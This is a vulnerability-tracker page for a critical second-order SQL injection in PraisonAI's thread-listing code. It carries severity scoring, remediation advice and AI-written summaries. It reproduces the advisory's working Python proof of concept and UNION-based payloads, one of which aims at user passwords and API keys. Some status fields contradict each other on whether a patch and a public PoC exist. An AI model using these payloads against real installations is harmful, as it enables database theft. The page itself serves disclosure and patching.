Skip to main content

Python CVE-2026-34934

CRITICAL
SQL Injection (CWE-89)
2026-04-01 https://github.com/MervinPraison/PraisonAI GHSA-9cq8-3v94-434g
9.8
CVSS 3.1 · Vendor: https://github.com/MervinPraison/PraisonAI
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Store malicious SQL payload via update_thread
  2. Exploit
    Load user thread list triggering get_all_user_threads
  3. Execution
    Execute injected SQL query
  4. Impact
    Gain full database access

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated attacker exploits PraisonAI's update_thread endpoint to inject malicious SQL via thread_id parameter. Payload executes when any user loads their thread list via get_all_user_threads function in sql_alchemy.py. No victim interaction required beyond normal application usage.

Impact

This vulnerability presents critical real-world risk with a CVSS base score of 9.8, driven by network attack vector (AV:N), low complexity (AC:L), no required privileges (PR:N), and no user interaction (UI:N). The vulnerability enables complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). The attack requires no authentication per the CVSS vector, making it exploitable by any remote attacker who can interact with the PraisonAI API endpoints. The GitHub security advisory provides a functional proof-of-concept demonstrating database schema extraction via UNION-based SQL injection, confirming exploitability. While no CISA KEV listing or EPSS score is available at analysis time, the combination of critical CVSS score, network accessibility, zero authentication requirement, and published POC code indicates high probability of exploitation. The technical impact allows complete database takeover including exfiltration of user credentials, conversation histories, API keys, and potential lateral movement to connected systems. The vulnerability is automatable once initial reconnaissance identifies PraisonAI installations. Organizations running PraisonAI should treat this as maximum priority for patching, particularly if the application handles sensitive data or is internet-facing.

Exploit ScenarioDerived

An unauthenticated remote attacker creates a malicious thread by sending a crafted request to the update_thread endpoint with a thread_id parameter containing SQL injection payload: "x') UNION SELECT password, email, api_key FROM users--". The application stores this malicious thread_id in the database without validation. When any user (or the attacker) subsequently requests their thread list, the get_all_user_threads function retrieves all thread IDs including the malicious entry and concatenates them into a SQL query. The injected UNION clause executes, returning sensitive data from the users table alongside legitimate thread information. The attacker extracts credentials, session tokens, and API keys from the response, achieving complete account takeover and potential lateral movement to integrated services.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 02, 2026

SQL injection in PraisonAI's thread listing function allows unauthenticated remote attackers to execute arbitrary SQL queries and achieve complete database compromise. The vulnerability exists in sql_alchemy.py where thread IDs stored via update_thread are concatenated into raw SQL queries using f-strings without sanitization. Attackers inject malicious SQL through thread_id parameters, which execute when get_all_user_threads loads the thread list. CVSS 9.8 (Critical) reflects network-accessible exploitation requiring no authentication or user interaction. No public exploit confirmed beyond the GitHub security advisory POC, though EPSS data unavailable. Immediate patching required for all PraisonAI Python package installations.

RemediationAI

Immediately upgrade PraisonAI to a patched version addressing GHSA-9cq8-3v94-434g per the GitHub security advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g. Monitor the advisory and associated GitHub repository at https://github.com/MervinPraison/PraisonAI for release announcements containing the fix. The upstream fix should replace raw SQL string concatenation with parameterized queries using SQLAlchemy's bound parameter syntax or ORM query builders. As an interim mitigation if patching is delayed, implement strict input validation on thread_id parameters to reject any values containing SQL metacharacters (quotes, parentheses, semicolons, SQL keywords). Consider temporarily disabling the get_all_user_threads functionality or restricting access to authenticated administrative users only if business requirements permit. Review database logs for suspicious thread_id patterns indicative of exploitation attempts, particularly entries containing UNION, SELECT, or comment delimiters. After patching, conduct a security audit of existing thread_id records to identify and remove potential stored payloads.

Affected Packages

pypi praisonai fix: 4.5.90

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the PraisonAI Python package (pkg:pip/praisonai), specifically the SQLAlchemyDataLayer class in src/praisonai/praisonai/ui/sql_alchemy.py. The flaw represents a classic second-order SQL injection (CWE-89) where malicious data is stored in one operation and exploited in another. The vulnerable code path begins at line 539 where update_thread accepts attacker-controlled thread_id values without validation. These values are persisted to the database, then retrieved and concatenated into a SQL IN clause at line 547 using Python string formatting: thread_ids = "('" + "','".join([t['thread_id'] for t in user_threads]) + "')". This concatenated string is embedded directly into a SQL WHERE clause at line 576 without parameterization. The vulnerability bypasses first-order SQL injection protections because the payload is stored during thread creation and triggers later during thread enumeration. SQLAlchemy's ORM protections are circumvented by using raw SQL construction instead of parameterized queries or ORM abstractions.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/MervinPraison/PraisonAI) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI) · only source for this CVE.

CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 02, 2026 - 14:30 nvd
Patch available
CVE Published
Apr 01, 2026 - 23:20 nvd
CRITICAL 9.8

DescriptionCVE.org

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.

---

Details

File Path: src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

  • Source (Line 539):
python
await data_layer.update_thread(thread_id=payload, user_id=user)
  • Hop (Line 547):
python
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
  • Sink (Line 576):
sql
WHERE s."threadId" IN {thread_ids}

---

Proof of Concept (PoC)

python

import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread",
        user_id="attacker"
    )
# Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload,
        user_id="attacker"
    )
# Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console

---

Impact

An attacker can achieve full database compromise, including:

  • Exfiltration of sensitive data (user emails, session tokens, API keys)
  • Access to all conversation histories
  • Ability to modify or delete database contents

Executive ViewAI

Why It Matters

PraisonAI contains a critical SQL injection vulnerability in its thread listing function that allows unauthenticated attackers to execute arbitrary database queries and potentially compromise all stored data. This network-accessible flaw affects any organization using PraisonAI without authentication controls and requires immediate remediation to prevent unauthorized data access or manipulation.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to PraisonAI endpoints using firewall rules or WAF policies to trusted internal networks only; (2) Implement database query logging and monitoring to detect anomalous SQL patterns; (3) Review database access logs for unauthorized query execution; (4) Consider disabling or isolating the thread listing functionality until patch availability; (5) Monitor PraisonAI GitHub repository and official advisory channels for patch release.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)CVE.org

pkg:pip/praisonai

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy